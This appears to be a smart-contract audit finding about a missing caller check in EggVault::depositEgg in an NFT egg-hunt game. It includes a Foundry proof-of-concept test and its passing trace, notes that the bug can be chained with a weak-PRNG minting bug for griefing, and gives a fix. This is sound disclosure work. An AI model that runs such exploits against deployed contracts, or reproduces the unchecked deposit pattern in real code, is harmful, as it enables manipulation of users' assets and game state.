Summary
The EggVault::depositEgg(uint256 tokenId, address depositor) method doesn't ensure that the call emanates from the EggHuntGame address. This allows an attacker to deposit an egg with a depositor address of another user. This does not allign with EggVault::withdrawEgg method's following statement: require(eggDepositors[tokenId] == msg.sender, "Not the original depositor");.
Vulnerability Details
PoC
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "../src/EggHuntGame.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
* This PoC demonstrates the exploitation of bypassing `EggHuntGame::depositEggToVault`
* allowing unauthorized transfer of token due to a missing require statement in `EggVault.deposit`.
*/
contract EggVaultUnauthorizedEggDepositPoC is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address owner;
address attacker;
address user;
function setUp() public {
owner = address(this);
attacker = address(0x1);
user = address(0x2);
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
}
function testExploitUnauthorizedEggDeposit() public {
uint256 tokenId = 20;
vm.startPrank(address(game));
nft.mintEgg(attacker, tokenId);
assertEq(nft.ownerOf(tokenId), attacker);
vm.stopPrank();
vm.startPrank(attacker);
nft.transferFrom(attacker, address(vault), tokenId);
vault.depositEgg(tokenId, user);
assertEq(nft.ownerOf(tokenId), address(vault));
vm.stopPrank();
vm.startPrank(user);
vault.withdrawEgg(tokenId);
assertEq(nft.ownerOf(tokenId), user);
vm.stopPrank();
}
}
Trace:
**\[⠊**] Solc 0.8.28 finished in 816.12ms
Compiler run successful!
Ran 1 test for test/EggVaultUnauthorizedEggDepositPoC.t.sol:EggVaultUnauthorizedEggDepositPoC
\[PASS] testExploitUnauthorizedEggDeposit() (gas: 168413)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.20ms (374.87µs CPU time)
Ran 1 test suite in 7.75ms (1.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Unauthorized deposits can disrupt user expectations and game mechanics.
While this issue is Low severity on its own, when combined with a previously reported High severity bug (weak PRNG in EggHuntGame::searchForEgg) that allows unlimited minting of eggs, this bug enables mass griefing.
Specifically, an attacker can mint arbitrary eggs using another attack vector then flood the vault with deposits attributed to other users. This could pollute game state and mislead off-chain logic.
Tools Used
foundry
Recommendations
Ensure that the call came from the EggHuntGame address, either with a require statement or an RBAC modifier:
contract EggVault is Ownable {
...
EggHuntGame public eggGame;
...
function depositEgg(uint256 tokenId, address depositor) public {
require(msg.sender == address(eggGame), "Unauthorized egg deposit");
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}
...
}
